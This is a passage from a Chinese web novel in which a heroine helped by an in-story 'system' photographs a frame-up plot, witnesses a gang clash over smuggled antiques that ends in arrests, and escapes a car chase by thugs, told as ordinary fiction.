林文彬得意地笑了起来,话却十分阴毒道:“好!干得漂亮!等明天警察发现东西丢了,再搜到这些证据,我看那丫头还怎么嘴硬!倒卖国家文物,够她坐一辈子牢的!跟我斗,她还嫩了点!等她进去了,这个项目,还有周局的位置,就全是我的了!” 时墨眼神一冷,对着谢时昀指了指梁架的位置。谢时昀点了点头,再次举起相机,把那个跟班往梁架上藏东西的动作,也清晰地拍了下来。 人证物证,栽赃的现场,全都齐了。 时墨心里松了口气,对着谢时昀打了个手势,准备悄悄撤出去。 可就在两人刚要转身的瞬间,系统突然发出了尖锐的警报,刺得时墨耳膜嗡嗡响:【宿主!不好!有情况!工地外面来了一辆无牌面包车,上面下来了六个人,手里都拿着钢管和砍刀!不是警察!是冲这边来的!还有!领头的是刘胖子!】 时墨脸色一变,一把拉住谢时昀的袖子。 谢时昀立刻察觉到她的异常,低头看她,眼神询问。 “有人来了。”时墨用气声说,声音又急又低,“不是警察,五个人,带着家伙,冲着工地来的。” 谢时昀的眼神瞬间锐利起来,他没有问时墨是怎么知道的,只是迅速扫了一眼周围的环境,拉着她往柱子后面堆着的施工废料又缩了缩,整个人挡在她前面,一只手已经摸到了腰间的匕首。 正房里,林文彬腰间的BP机突然响了,他低头扫了一眼,脸色瞬间大变,厉声对着屋里的人喊:“快!别装了!有情况!赶紧把东西从后门运走!快点!” 四个工人被他突然的变化吓了一跳,手忙脚乱地抬起麻袋往肩上扛,动作也不放轻了,箱子也不盖了,胡乱装进去后就抬着往车上搬。 林文彬自己冲到窗边,往外看了一眼,脸上的得意早已不见,只剩下惊慌和狠厉。 “快!快!别磨蹭!” 几乎是同时,夜色里原本安静的胡同,突然传来了杂乱的脚步声、钢管碰撞的哐当声,还有刘胖子粗着嗓子的喊声:“给我围起来!一个都别放跑了!” 更要命的是,系统再次尖叫起来:【宿主!不好!林文彬掏出枪了!是一把自制的土枪!他正往门口走!】 时墨的心跳到了嗓子眼。 她和谢时昀就藏在正房门口的柱子后面,退无可退,而林文彬,正拿着枪,一步步往门口走来。 【宿主!那些人已经到侧门了!他们——】系统的话还没说完,侧门“砰”地一声被人踹开了。【..top】 70-75 第71章 木门撞在墙上发出震耳的巨响, 碎木屑混着尘土溅了一地。 刘胖子带着五个手持钢管和砍刀的壮汉,凶神恶煞地冲了进来,一眼就看见了正房门口慌慌张张抬着麻袋的工人, 厉声吼道:“都给我放下!谁敢动一下, 老子卸了他的胳膊喂狗!” 四个工人瞬间僵在原地, 手里的麻袋“啪嗒”掉在地上, 包好的隔扇窗露了出来,吓得连连往后退。 林文彬脸色煞白,下意识地往后退了一步,随即又强装镇定,举起手中的土枪对准刘胖子, 厉声喝道:“刘博武!你疯了?!你跑到这儿来干什么?!” 刘胖子身后的人瞬间举起了钢管和砍刀, 钢管敲在地上发出哐当的闷响,两边人剑拔弩张。 “我干什么?”刘胖子往地上狠狠啐了一口唾沫, 狞笑着往前走了一步, 完全没把枪放在眼里,“我倒要问问林主任, 你什么意思?” 他猛地收了笑, 满眼狠厉, 声音阴沉下来:“林文彬, 老子跟你合作这么多年, 你他妈居然背后反水?想跟警察串通,给老子来个瓮中捉鳖,把老子送进去吃枪子?要不是我有人提前递了消息, 今儿就栽你手里了!” “你胡说八道什么?!”林文彬又惊又怒,手不自觉地攥紧了枪柄,冷汗顺着鬓角往下淌, “我什么时候私通警察了?我疯了?我自己在这儿,我串通警察抓我自己?!” “没做过?”刘胖子冷笑一声,铁棍往地上一剁,火星子都溅了起来,“要不是老子提前收到消息,知道你今晚要跟警察联手,给我来个人赃并获,老子现在已经进了你的圈套,等着吃枪子了!林文彬,你真当老子是傻子?!” 躲在柱子后面的时墨瞳孔微缩,脑中迅速闪过几个念头。 有人泄密了。 她侧头看向谢时昀,正好对上他的目光。两人对视一眼,都在对方眼中看到了同样的判断。时墨微微抬手,食指抵在唇上,谢时昀会意地点头,两人的呼吸几乎同时放到了最轻。 林文彬声音越来越急:“你他妈听谁说的?谁告诉你的?这是有人陷害!有人要搞我们两个!你他妈中了别人的套了!” 刘胖子冷笑一声,不为所动:“谁告诉我的你就别管了。要不是消息准得不能再准,你以为老子会带这么多人过来?林文彬,你要是不心虚,你手里那玩意儿指着谁呢?” 两人对峙的瞬间,时墨的目光迅速扫过场中局势,扯了扯谢时昀的袖子,用口型无声而清晰地说:“拍下来。” 谢时昀看了她一眼,微微点头,举起藏在怀里的相机。镜头穿过夜色和柱子的缝隙,精准地对准了剑拔弩张的两拨人。 闪光灯被黑布裹着,快门声被刘胖子的叫骂声盖得严严实实,没有一个人发现暗处还有两个人。 “老刘,你听我说!”林文彬的声音软了几分,枪口也往下压了压,语气里满是急怒,“咱们合作多年,我是什么人你不知道?我怎么可能干这种出卖兄弟的事?肯定是有人在背后挑唆,想让咱们俩狗咬狗,好坐收渔利!你好好想想呢?” 刘胖子盯着他看了好几秒,忽然咧嘴笑了,笑容里全是瘆人的戾气:“林文彬,你当我三岁小孩呢?今晚我要是走了,凌晨警察就上门了!” 他猛地一挥手,厉声喝道:“动手!把东西全搬走!一件不留!谁敢拦,给我往死里打!” “我看谁敢!”林文彬再次举起了枪,枪口对准刘胖子的胸口,手指扣在了扳机上,“刘博武,你别逼我!这玩意儿走火,咱俩谁都别想好!大不了一起进去吃枪子!” 刘胖子带来的人瞬间停住了动作,握着钢管的手紧了又紧,没人敢再往前迈一步。谁都知道,这土枪看着破,近距离一枪下去,人直接就没了。 刘胖子停下脚步,盯着林文彬手里的枪,脸上的横肉抖了抖,随即又冷笑起来,非但没退,反而往前凑了一大步,把胸口撞到枪口上:“你敢开枪?林文彬,你他妈敢在这儿开枪?枪声一响,方圆半里地都能听见,警察三分钟就能到!你以为你跑得掉?有本事你就扣扳机!” 两人对视着,谁都不肯退让半步。 林文彬的手微微发抖,额头上青筋暴起,冷汗着脸颊往下淌,滴在衣襟上。 他确实不敢随便开枪,可眼下这局面,他要是软了,这批货不仅保不住,自己今天能不能完整地走出这个院子都两说。 空气彻底凝固了,好似连风都停了,只有远处胡同里传来的几声狗叫,衬得院子里的死寂越发吓人。 时墨攥着谢时昀的衣角,目光紧盯着场中局势的变化,脑中飞速计算着每一步的进退空间。她和谢时昀就藏在正房门口的柱子后面,距离林文彬不到三米,只要他往左边歪一下头,一探头,就能清清楚楚地看见他们。 她能感觉到自己的心跳快得像要从嗓子眼里蹦出来,但她努力控制住自己的情绪,迅速将这丝慌乱压了下去。 谢时昀把时墨往身后又护了护,后背紧紧贴着冰冷的砖墙,整个人呈防御姿态,只要有一点动静,就能立刻挡在她前面。 他的身体绷得像一张拉满的弓,呼吸却稳得不像话,眼神却锐利如鹰,死死盯着场中的动静。 两拨人就隔着几米对峙,谁都不敢先动。 时墨屏住呼吸,目光在刘胖子和林文彬之间来回扫视,寻找着任何可能的变数。 “老刘。”林文彬的声音压得极低,带着一丝恳求,“你信我这一次,咱们先把货藏起来,等风头过了,咱们再好好算这笔账,行不行?真闹大了,咱们俩都得完蛋!” 刘胖子眼神闪了闪,握着砍刀的手松了松,似乎真的在犹豫。 就在这千钧一发的节骨眼上,林文彬身后的一个工人被脚边的木箱子绊了一下,“哐当”一声摔在地上,手里抱着的麻袋直接砸在石板上,隔扇窗的边角狠狠磕在石头上,发出一声清脆的碎裂声。 刘胖子的脸色瞬间变了:“你他妈想砸了?!” “不是!我不是故意的!”工人吓得魂都飞了,连滚带爬地往后躲。 林文彬下意识地转身去看那扇窗—— 就是这一瞬间,刘胖子突然动了。 “动手!给我废了他!” 他一声暴喝,身后的壮汉瞬间像饿狼一样扑了上去。 林文彬猛地转身,想举枪,却被一个冲上来的人一把攥住了枪管。两人扭打在一起,枪口在天花板上乱晃,几次擦过时墨藏身的柱子。 “别动!别动!”林文彬尖声叫着,手指死死扣在扳机护圈上,脸憋得通红。 跟他扭打的人攥着他的手腕,钢管掉在地上,两个人摔倒在地,滚进了正房门口的阴影里—— 离时墨藏身的柱子,仅有一步之遥。 时墨的心脏瞬间停跳了一拍,连呼吸都忘了。 谢时昀几乎是瞬间就把她按进了怀里,整个人挡在她前面,后背几乎贴着柱子的边缘,连一点影子都没露出去。 他一只手死死扣住她的后脑勺,另一只手环住她的腰,把她整个人箍在怀里,严严实实地护住。 她听见了谢时昀的心跳,又快又沉,跟擂鼓似的,奇异地压下了她刚涌上来的那丝慌乱。 林文彬和那人就在她脚边半米的地方扭打,衣服摩擦地面的沙沙声、粗重的呼吸声、骂骂咧咧的嘶吼声,以及拳头砸在肉上的闷响,近在咫尺。 她甚至能闻到林文彬身上浓重的烟味和汗味,还有土枪上的铁锈味。 “砰!” 震耳欲聋的枪声炸响在寂静的院子里,枪口的火光在黑夜里猛地炸开,亮得刺眼。 时墨浑身一震,耳朵里嗡鸣声炸开,脑子出现了一瞬间的空白。 她从和平年代而来,只在电视里听过枪声,从来没听过这么近、这么真切的枪响。那声音像是直接炸在她的耳膜上,震得她浑身的血液都像是瞬间凝固了,指尖冰凉,下意识地死死抓紧了谢时昀的胳膊。 但她几乎是立刻就咬紧了牙关,强迫自己从短暂的震惊中抽离出来。她闭上眼睛,又迅速睁开,深深吸了一口气,再吐出时,眼中的慌乱已经消散了大半,取而代之的是重新凝聚起来的镇定。 谢时昀收紧手臂,把她整个人箍得更紧。一只手捂住她的耳朵,掌心温热,把大半的枪响隔绝在外;另一只手牢牢护住她的后背,低头在她耳边用气声安抚,声音沉稳得没有一丝慌乱:“别怕,有我在。” 时墨微微点头,透过谢时昀的肩膀缝隙,观察着外面的局势。 枪响之后,院子里安静了一瞬。 紧接着,林文彬发出一声惨叫——枪被夺走了,他的手腕被人反拧着,脸贴着地,嘴里还在骂骂咧咧。夺枪的人一钢管砸在他背上,他闷哼一声,终于不吭声了。 好在两人都没注意到柱子后面的时墨和谢时昀,所有人的注意力都在那支枪上。 刘胖子捡起枪,在手里掂了掂,脸上露出得意的笑:“林主任,你这玩意儿,不太会用啊。” 【宿主!吓死我了!你俩差点就被发现了!】系统的声音带着惊魂未定,【左边还有两个人过来了!快躲!不对!外面的警察动了!已经冲进来了!】 系统的话音刚落,院门外就传来了急促而整齐的脚步声,还有公安干警厉声的呵斥:“警察!不许动!都把手里的家伙放下!双手抱头蹲下!反抗的依法处置!” 十几道手电筒的光柱同时射进院子,把整个院子照得雪亮。 全副武装的警察举着□□,从侧门、后门、矮墙三个方向同时翻了进来,动作利落迅速,分点位包抄,瞬间就把混战的两拨人围得水泄不通。 林文彬和刘胖子都懵了,手里的枪和铁棍“哐当”一声砸在了地上,脸色惨白如纸,连反抗的力气都没了。 林文彬瘫在地上,嘴唇哆嗦着,一个字都说不出来;刘胖子瞪大眼睛,脸上的横肉都在抖,像是不敢相信眼前这一幕。 其他人也乱了阵脚,有人扔下钢管就跑,被堵在门口的警察按在地上,脸贴着石板,胳膊被拧到背后,手铐“咔嚓”一声锁上了;有人想翻墙,刚爬上墙头就被手电筒的光柱牢牢照住,蹲在墙头上动都不敢动,被警察一把拽了下来。 刘胖子自己也被两个警察按在地上,脸贴着冰凉的石板,嘴里还在疯了似的骂:“林文彬!你个王八蛋!你真跟警察串通好了!老子做鬼都不放过你!” 林文彬趴在地上,枪被踢到了一边,脸埋在土里,浑身抖得像筛糠,一句话都说不出来。 不到两分钟,场面就被彻底控制住了。 两拨人全 被按在地上戴上了手铐,连那几个搬东西的工人也没放过。地上的麻袋、木箱子都被打开,里面的文物□□警们小心地清点、装袋,人赃并获,铁证如山。 【宿主!好了好了,警察都控制住了!安全了!】系统庆幸道,语气里带着劫后余生的欢喜,【刚吓死我了!】 时墨靠在谢时昀怀里,听见院子里的呵斥声、脚步声渐渐平稳下来,才长长地吐了口气,她的腿有些发软,手心全是汗,后背的衣服都被冷汗浸透了。 谢时昀低头看她,放下捂着她耳朵的手,轻声问道:“没事吧?” 他的声音冷静沉稳,让时墨紧张得以缓解。 时墨点点头,从他怀里退出来,站直了身体,声音虽然还有些发紧,但语气已经恢复了平稳:“我没事。刚才多谢你。” “应该的。”谢时昀松开手,往后退了半步,目光在她脸上停了一瞬,确认她真的没事,才移开目光。 院子里,警察正在清点现场。 李景坤指挥着干警登记证物,一个警察踩着梯子,从梁架的榫卯槽里取下了伪造的信封,小心翼翼地装进了证物袋里。 李景坤一抬头,看见从柱子后面走出来的谢时昀和时墨,赶紧迎了上去,上下打量了时墨一眼,语气里满是后怕:“时墨同志,谢同志,你们没事吧?刚才枪响的时候,我们都捏了一把汗!” “我没事,多谢张队及时赶到。”时墨摇了摇头,声音已经彻底恢复了正常。 李景坤确定时墨无恙,没再多问,对着两人敬了个礼:“这次多亏了你们两位,提前提供了线索,还冒险拍下了这么关键的证据。等这边收尾了,我们再去局里做个笔录,不着急,今晚你们先回去休息,有什么需要随时找我。” 时墨应了一声。 “妹!谢哥!你们没事吧?!” 时建军疯了一样从院门外冲进来,跑得太急,差点被门槛绊倒。他看见时墨,一把抱住她,声音都在发抖:“我刚才听见枪响了!吓死我了!你们没事吧?有没有受伤?” 他松开时墨,上下检查了好几遍,翻来覆去地看她的手、她的胳膊、她的脸,确认她没受伤,悬着的心才终于落了地,眼圈都红了。 “哥,我没事,一点伤都没有。”时墨拍了拍他的后背,笑着安抚道,“你看,我这不好好的吗?一点事都没有。” “没事就好,没事就好。”时建军转头看向谢时昀,“谢哥,多亏了你照顾我妹,我……” “应该的。”谢时昀拍了拍他的肩膀,把手里的相机递给了李景坤,“李队长,这里面是他们倒卖文物、伪造证据栽赃时墨同志的全部照片,还有刚才对峙、混战的全过程,我都拍下来了,时间线连贯,没有断档。” “太好了!”李景坤接过相机,满脸欣喜,小心地放进证物袋里,“有了这些铁证,他们就算想抵赖都没用!辛苦你们了!尤其是时墨同志,今晚受惊了。” 几人没在工地多待,跟李景坤打了声招呼,就先出了院子。 胡同口停着谢时昀的黑色伏尔加,还有好几辆警车,把半条街都照亮了。 周围邻居家的灯一盏接一盏地亮起来,有人在窗口探头探脑,小声议论着什么。 刘胖子和林文彬被分别押上两辆车。刘胖子还在挣扎,嘴里骂骂咧咧的,被两个警察按着脑袋塞进车里;林文彬低着头,腿都是软的,几乎是被架着走的。车门关上的声音沉闷又重,像是把今晚的事彻底画上了句号。 “跟上李队的车。”时墨忽然开口,“我想看看,和林文彬接头的人到底是谁。” “好。”谢时昀发动车子,稳稳地跟在车队后面,保持着不远不近的距离。 时墨收回目光,靠在座椅上,指尖轻轻敲着膝盖,眉头微微皱起,脑中已经在飞速梳理今晚所有的线索。 车子驶出胡同,拐上大路,街灯一盏接一盏地从车窗外掠过,光影在她脸上明明暗暗地交替。 “谢哥,”她忽然开口,声音很轻,却很清晰,“你觉得,是谁给刘胖子递的消息?” 车厢里安静了一瞬。 谢时昀从后视镜里看了她一眼,没说话。 时墨也不等他回答,自顾自地往下说:“今晚的事,知道的人不多。除了我们一家三口和你,只有参与行动的公安干警知道。刘胖子能精准地在我们收网前冲进去,还一口咬定林文彬联合警察布局要抓他,肯定是有人给他通风报信。” 她顿了下,从车后视镜看向谢时昀,目光认真道:“你查林文彬的事,都跟谁说过?托了哪些人?” 这话一出,车厢里安静得落针可闻。 时建军虽然粗线条,但这话他还是听懂了,惊呼道:“妹,你是说有人泄密?把咱们的计划告诉了刘胖子?!” “不是咱们的计划。”时墨摇了摇头,目光沉了下来,“刘胖子说的是‘林文彬跟警察串通了’。他不知道我们也在,更不知道整个布控计划。他以为今晚是林文彬设的局要抓他。所以,他得到的消息是——‘林文彬要出卖他’。” 她转头看向开车的谢时昀,继续往下说,逻辑层层递进,条理分明:“这说明,有人知道林文彬今晚要出货,也知道警察今晚要来。给刘胖子递消息的人,根本不是想帮他,是想让他和林文彬狗咬狗。不管是林文彬开枪打死刘胖子,还是刘胖子砍伤林文彬,甚至是两方混战被警察一锅端,对这个人来说,都是最好的结果。” 谢时昀的手在方向盘上收紧,脸色沉了下来,声音也冷了几分:“对。林文彬倒了,第一个受牵连的,就是他背后的人。只有林文彬死了,或者彻底跟刘胖子反目成仇,把所有事都咬在对方身上,背后的人才能把自己摘干净。” 时建军满脸不解:“他这么干,图什么啊?把水搅浑,自己能跑得掉?” 时墨没有直接回答,而是看着车窗外倒退的街灯,声音平静道:“刘胖子和林文彬要是今晚打起来,两败俱伤,谁最受益?” 车厢里再次安静下来。 “我知道了!”时建军一拍大腿,差点从座位上蹦起来,“林文彬的表哥!那个什么周副局长!他不是一直靠着林文彬给他送钱吗?要是林文彬被抓了,把他供出来,他这个副局长就别想当了,还得坐牢!所以他才给刘胖子递消息,想让他们俩互相残杀,死无对证!” 时墨没有点头,也没有摇头,平静道:“他有这个动机,但不一定是他。也可能是其他人,比如刘胖子那边的人,或者林文彬得罪过的其他什么人。但不管是谁,这个人就在我们身边,知道我们所有的计划。” 【宿主!还是我靠谱吧!】系统得意起来,声音里带着邀功的味道,【我查的消息,绝对不会经过第三个人,半分都不会泄露!哪像人类,这么不靠谱!】 时墨没理会系统的炫耀,目光落在谢时昀紧绷的侧脸上,等着他的反应。 谢时昀忽然打转方向盘,猛踩油门。车子猛地提速,轮胎在地上发出刺耳的摩擦声。 时建军吓了一跳,身子往前一冲,差点撞上前座,连忙抓住扶手:“谢哥?怎么了?出什么事了?” 谢时昀没有回答,目光落在后视镜上,又看了一眼左侧的倒车镜,声音压得很低,带着一种时墨从未在他身上听过的紧张感:“有人在跟着我们。” 时墨瞬间坐直了身体,猛地回头看向车后窗。 夜色里,两束车灯亮在不远不近的地方,稳稳地跟着他们。 她刚才一直在想泄密的事,根本没注意后面有车。现在仔细看,那辆车跟了他们至少两条街了,不远不近,既不超车,也不掉头。 “从工地出来就跟上了。”谢时昀的声音很冷静,但车速越来越快,“我试过绕路,他一直在。” 时建军脸色变了,手不自觉地攥紧了拳头:“是刘胖子的人?还是林文彬那边的人?” “不管是谁,来者不善。”谢时昀看了一眼油表,又看了看前方的路,“坐稳了。” 他一打方向盘,车子猛地拐进一条窄巷。 巷子里没有路灯,两侧是高高的围墙,车轮碾过坑洼的路面,颠得人骨头都在疼。 后面的车果然跟了上来,车灯照进巷子。 时墨抓住扶手,心跳不可避免地加速。今晚的枪声还没从脑子里散去,现在又来了追兵。她深吸一口气缓缓吐出,强迫自己冷静下来,脑中飞速运转,声音冷静而果断:“谢时昀,往居民多的地方开,他们不敢在人多的地方动手。” “我知道。”谢时昀的声音很稳,拐出巷子,上了大路,“前面全是住宅区,那边人多。” 车子冲上大街,街两边虽然没什么行人了,但路口的饭店还亮着灯,有零星几人进进出出。 后面的车犹豫了一下,放慢了速度,依旧紧跟。 时墨回头盯着那辆车,忽然说:“往左拐,去派出所的方向。” 谢时昀看了她一眼,方向盘一打,车子拐进了左边的小路。后面的车这次没有跟上来,车灯在路口停了两秒,然后掉头,消失在了夜色里。 谢时昀又开了两条街,确认后面没有车跟着了,才把车停在路边,熄了火。 车厢里安静了好一会儿。 时建军长长地吐了口气,瘫在座椅上:“妈的,吓死我了……” 时墨没说话,她盯着后面空荡荡的街道,眉头皱得很紧,但眼神依然冷静,像是在梳理一团乱麻。 谢时昀从后视镜里看着她:“在想什么?” “我在想,”时墨慢慢斟酌道,“给刘胖子递消息的人,和今晚跟踪我们的人,是不是同一个。” 谢时昀沉默了两秒:“有可能。” “如果真是同一个人,”时墨抬起头,对上他的目光,眼神清明且锐利,“那这个人不仅知道林文彬的事,还知道我们也在场。他想看看,我们有没有死在刚才的混战里。” 车厢里的温度仿佛一下子降到了冰点。 时建军咽了口唾沫:“妹,你别吓我……” “我没吓你。”时墨的声音很平静,但眼神冷得吓人,“哥,今晚回去,你跟爸妈说一声,这几天出门小心点。尤其是你,天天来接我,容易被盯上。” “我知道。”时建军点了点头,脸色很难看,但没再说什么,“对了妹,我刚才记下了车牌号。” “先让谢哥查吧,但我估计很可能是套牌。” 谢时昀发动车子,声音很沉:“我先送你们回家。今晚的事,明天跟李队说,让他查查那辆车。” 时墨靠在座椅上,空荡荡的街道,忽然开口:“不回家,去他们今晚约定好的交易地。” 谢时昀从后视镜里看她一眼,没问为什么,直接发动了车子。 时建军愣了一下:“妹,都这点了还去那儿干啥?万一那帮人正跟李队他们火拼呢?” “正因为这样,才要去。”时墨的目光沉下来,“今晚的事,林文彬和刘胖子都被抓了,但给他们递消息的那个人还没露头。他既然能提前通知刘胖子,就说明他对今晚的事了如指掌。那他现在最担心的是什么?” 谢时昀接道:“证据。” “对。”时墨点头,眼神锐利,“林文彬手里肯定有对他不利的东西。他不确定林文彬有没有交出来,也不确定我们掌握了多少。所以——” “所以他现在最想做的,要么是销毁证据,要么是确认证据有没有落到我们手里。”谢时昀把话说完,车速又快了几分。 时建军听得后背发凉:“那咱们现在去,不是正好撞上?” 时墨没回答,目光落在车窗外飞速后退的街灯上。 【宿主,前方路口右转,走那条小路。】系统的声音忽然响起,带着前所未有的严肃,【我检测到后面那辆车又跟上了,距离大概三百米,正在加速。它刚才应该是绕了一圈,从另一条路包过来了。】 时墨心里一紧,猛地回头——果然,远处又有两束车灯,比刚才更亮,更近。 “车又跟上来了。”她冷静道,“从右边过来的。” 谢时昀的手指在方向盘上收紧,目光扫了一眼后视镜:“我看见了。坐稳。” 他一脚油门踩下去,车子猛地往前窜。 时建军没防备,后背重重地撞在座椅上,闷哼了一声。 【后车提速了,时速六十……七十五……八十!宿主,他不要命了!这条路限速四十!】 谢时昀注意到后车提速,方向盘一打,拐进另一条巷子。 【前面第三个路口左转,那边有个早市,白天人多,晚上摊位没收完,他车宽进不去!】 “前面第三个路口左转,那边有个早市。”时墨几乎是同步转述,“摊位没收完,他进不去。” 谢时昀没问她怎么知道的,只是点头,油门不减。 车子冲过两个路口,在第三个路口猛地左转。轮胎在地上划出一道刺耳的声响,时建军死死抓着扶手,脸都白了。 巷子口果然摆着几个没来得及收的木板摊位,谢时昀的车堪堪挤过去,车侧擦着木板,发出刺耳的摩擦声。 后面的车追到巷口,果然停了。司机探出头看了一眼,犹豫了两秒,又缩回去,掉头绕路。 【他没跟进来,但别高兴太早。】系统的声音一刻不停,【我扫描到他在绕路,想从东边那条街截咱们。宿主,这个人对这一带很熟,绝对不是随便找来的打手。】 时墨的心沉了沉。 “他知道这一带的路。”她对谢时昀说,“在绕东边截我们。” 谢时昀眉头皱了一下,随即松开。 他没说话,但车速又加快了。 【前方五百米右转,进胡同区。那边路窄,他车大,不好追。】 “前面右转,进胡同。” 车子拐进胡同区,路面更窄了,两侧的墙几乎贴着车窗。时建军吓得闭上了嘴,一个字都不敢说。 后面的车果然跟不进来,在胡同口犹豫了一下,熄了灯,停在了路边。 【他停了。】系统的声音稍微松快了一点,【但他没走,在等。】 时墨回头看了一眼,胡同口黑漆漆的,什么都看不见。但她知道,那辆车就停在那里,像一条蛰伏的蛇,伺机而动。 “他不敢进来。”谢时昀说,“胡同太窄,他的车进不来。” “但他知道我们迟早要出去。”时墨的声音很平静,但带着一丝冷意,“他在等。” 车厢里安静了几秒。 谢时昀忽然把车停在胡同深处的一个拐角,熄了灯,关了发动机。 黑暗中,只有三个人轻微的呼吸声。 时建军突然想起来:“我知道附近哪里有电话,我去打电话叫警察来。” 时墨抬手按住要去冒险的时建军。 【宿主,我已告知警方详细地址,你们坚持住,再等五分钟!】 “再等五分钟。”时墨冷静道。 这时,一声车门闭合声突然在夜晚中清晰响起。 胡同的路口处,有两个高个子穿着深色外套的男人,手里拿着铁棍缓缓朝这边走来。 时建军紧张地抓住身边时墨的手:“妹,你别怕,有哥在,绝对不会让你出事。” 时墨感觉到哥哥手心的汗,轻轻拍了拍他的手背,给了他一个安心的眼神,目光却越过他,注视着那两个越来越近的身影。 谢时昀当即按下车锁,眼里看不出任何情绪—— 作者有话说:今天申请插画活动,结果系统评估成绩没通过等我后期再看看 第72章 胡同里静得可怕, 只有远处零星的狗叫。 两个高壮男人的脚步声逐渐逼近,手里的铁棍在地上拖着,发出刺耳的“刺啦”声, 在寂静的夜里格外瘆人。 两人走到车边, 先是敲了敲驾驶座的车窗, 语气阴恻恻的:“哥们, 下车聊聊?别躲在里面当缩头乌龟。” 车厢里没人应声。 时建军的手心全是汗,后背紧紧贴着座椅,用力攥住时墨的左手,眼睛一眨不眨地盯着外面的人,浑身的肌肉都紧绷着。 外面的人等了十几秒, 见里面没动静, 瞬间没了耐心。高个男骂了一句脏话,举起手里的铁棍, 卯足了劲狠狠朝着驾驶座的车窗砸了下去! “砰!” 一声巨响, 铁棍狠狠砸在玻璃上,震得整个车身都晃了晃。 时建军下意识地把时墨往身后护, 眼睛都闭上了——可预想中的玻璃碎裂声却半点没传来。 他睁开眼, 愣住了。 车窗完好无损, 别说碎裂, 连一道裂纹都没有。 时建军盯着车窗看了两秒, 满脸写着不可思议:“谢哥,这……这玻璃?” “我换的防弹级别的钢化玻璃,寻常铁棍砸不碎。”谢时昀的声音平静得没有一丝波澜, 甚至还伸手调了调车内的暖风,“别慌,车门锁死了, 他们进不来,耐心等着就好。” 时墨看了他一眼,没说话,但心里有了数——这可不是“寻常车”能随便换的玻璃。 窗外的两个男人显然也没料到这一下毫无效果。砸窗的高个男愣了一下,低头看了看手里的铁棍,又看了看车窗,脸上的表情从凶狠变成了困惑,又从困惑变成了恼羞成怒。 “妈的,这玻璃是他妈铁铸的?!”他骂了一句,又举起铁棍,连着砸了三四下。 “哐!哐!哐!” 巨响在胡同里回荡,震得附近的狗都跟着叫起来。可车窗依旧纹丝不动,连个豁口都没砸出来,只在玻璃上留下了几道白印子。 另一个光头男凑过来,脸几乎贴着玻璃往里看,可胡同里黑,车玻璃又是单向透视的,他什么都看不见,只能看见自己模糊的影子。 他用铁棍敲了敲车窗,语气装得客气,眼底却全是狠戾:“哎,车里的朋友,下来聊聊呗?我们哥俩就是受人之托,带句话,不动手。” 没人理他。 他又敲了两下:“听见没有?下来!不然我们可就不客气了!” 时建军气得牙痒痒,压低声音骂道:“不客气?他手里的铁棍是拿来挠痒痒的?真当在咱们傻呢!” 时墨拍了拍哥哥的手背,示意他别出声,目光一直盯着车窗外的两个人。 【宿主,警察还有三分钟到达。】系统的声音响起,带着一股紧绷,【这两个人身上没有枪,只有铁棍和折叠刀,没别的家伙事。】 时墨在心里应了一声,面上不动声色。 外面的两个男人见砸不破车窗,越发暴躁起来。光头男绕到车尾,狠狠踹了一脚后备箱,“咚”的一声闷响,随后举着铁棍去砸后窗,依旧是徒劳无功,只在车身上留下一个个坑洼的印子。 “邪了门了!”他骂骂咧咧地使劲砸了几下后窗,“这破车怎么跟个铁王八似的?” 高个男急了,从兜里掏出一把折叠刀,蹲在地上开始撬车门锁,嘴里还骂骂咧咧的:“我就不信了,今天还弄不开这破车!锁撬不开,我就给你轮胎放气,我看你们能在里面待多久!” 谢时昀从后视镜里扫了一眼,语气依旧沉稳:“别担心,车胎也做过防爆处理,扎不爆。” 时建军咽了口唾沫,看着谢时昀的眼神里满是佩服:“谢哥,你这也太周全了!到底花了多少钱改的这车?” “没多少钱,单位有渠道。”谢时昀淡淡带过,目光依旧锁着车外的动静。 车外的两个人折腾了几分钟,车身上除了多十几道白印子和凹陷,一块玻璃都没碎,轮胎也纹丝不动。他们气喘吁吁地靠在墙边,交换了一个眼神,脸上写满了“这活儿不好干”。 高个男抹了把汗,压低声音:“怎么办?这车跟铁壳子似的,砸不开也撬不开。” 光头男咬了咬牙,攥紧铁棍:“等!他们不可能在车里待一晚上,我就不信他们不出来!” 【宿主,警察还有一分钟抵达现场。】系统忽然兴奋起来,【他们已经到胡同口了!】 时墨几乎是同时听见了远处传来的脚步声,还有警棍碰撞的轻响。 下一秒,胡同口突然亮起了刺眼的警灯,瞬间照亮了整条窄巷,紧接着是民警厉声的呵斥:“警察!不许动!把手里的家伙放下!双手抱头蹲下!” 两个男人猛地转头看向胡同口,脸色瞬间变了。 七八个警察正从胡同口冲进来,手电筒的光柱像刀子一样切开夜色,直直地照在他们脸上。 两人愣了一秒,然后转身就跑。 但这是死胡同。 三面都是两米多高的砖墙,连个能翻的豁口都没有。他们跑了十几步就撞上了最里面的墙,转过身来,脸上的凶狠变成了惊恐,腿都开始抖了。 “放下武器!双手抱头!再动我们就开枪了!”追上来的警察瞬间围了上去,手里的□□对准了两人,厉声警告道。 光头男犹豫了一下,“哐当”一声扔下铁棍,双手抱头蹲了下去,动作干脆利落,半点不带犹豫的。 高个男却红了眼,忽然举起铁棍,朝着离他最近的民警冲了过去,嘴里疯了似的吼:“别过来!谁敢过来我弄死谁!” “砰!” 一声警告枪响在胡同里炸开,比刚才的铁棍砸窗响了百倍不止。 时建军吓得一哆嗦,时墨的指甲也掐进了掌心里。 高个男被枪声瞬间镇住,脚步猛地顿住,铁棍从手里滑落,“哐当”掉在地上。两个警察趁机扑上去,一人拧一只胳膊,狠狠将人按在了冰冷的石板上,“咔嚓”一声铐上了手铐。 “放开我!你们凭什么抓我!”男人趴在地上还在挣扎,声音又急又怒。 “凭什么?”按住他的警察冷笑一声,“你持械砸车、威胁群众,还暴力抗法,你说凭什么?” 光头男蹲在墙边,双手抱头,一声不吭,整个人抖得像筛糠,裤腿上都湿了一片。 直到警灯的光落在车身上,谢时昀才按下了车门锁,推开车门走了下去。 时墨和时建军也跟着下了车,时建军看着被押走的两个男人,长长地吐了口气,又抹了把额头上的冷汗:“妈的,可吓死我了……今晚这心就没放下来过。” 带队出警的民警快步走了过来,先是敬了个礼,随即满脸关切地询问:“三位同志,你们没事吧?有没有受伤?” “我们没事,多谢你们及时赶到。”谢时昀回了个礼,语气沉稳,“人没受伤,只有车被他们砸了几下。” 时墨站在一旁,夜风吹过来,冷得她打了个寒颤。她裹紧外套,看了一眼那两个被押走的男人,眉头微微皱起——这两个人看着凶,但仔细想想,从头到尾都没亮过真家伙。铁棍、折叠刀,听着吓人,可跟刘胖子那边的人比起来,差远了。 